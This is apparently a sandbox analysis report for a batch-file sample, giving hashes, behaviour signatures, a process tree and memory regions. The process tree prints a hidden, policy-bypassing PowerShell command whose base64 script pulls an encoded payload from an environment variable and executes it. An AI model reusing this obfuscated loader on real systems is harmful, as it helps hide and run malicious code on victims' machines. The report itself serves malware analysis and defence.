Analysis

  • max time kernel
    36s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    11/07/2026, 05:16

General

  • Target
    nya_pro_ultimate.bat
  • Size 4.6MB
  • Sample260711-fyccfaet3x
  • SHA256 8cf8be4545bbfb1fe8c3c86858a6980cbca8d076997937f9a275a9b51ac9790c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nya_pro_ultimate.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ep Bypass -wi h -enc JABkAGsAcwB0AE0AZQA9AGcAYwAgACQAZQBuAHYAOgBhAGMAWgBrAGkAZwBZADIAUQB4AE4AOAAgAC0AUgBhAHcAOwAkAEgAMwBkADQATQBYAD0AJwA6ADoARgA2AFoAWgBWAFQAQgAxAGUARwAxAGMAOgA6ACcAOwAkAGwAbABTAFYANwBjAD0AJABkAGsAcwB0AE0AZQAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABkAGsAcwB0AE0AZQAuAEkAbgBkAGUAeABPAGYAKAAkAEgAMwBkADQATQBYACkAKwAkAEgAMwBkADQATQBYAC4ATABlAG4AZwB0AGgAKQAuAFQAcgBpAG0AKAApADsAJABMAHAAeQBZADAASQA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbABsAFMAVgA3AGMAKQApADsALgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABMAHAAeQBZADAASQApACkA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3984

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_imqcicc1.kfr.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_imqcicc1.kfr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3984-0-0x0000022E22AC0000-0x0000022E22AD0000-memory.dmp

        memory/3984-6-0x0000022E22980000-0x0000022E229A2000-memory.dmp

        memory/3984-8-0x0000022E22AC0000-0x0000022E22AD0000-memory.dmp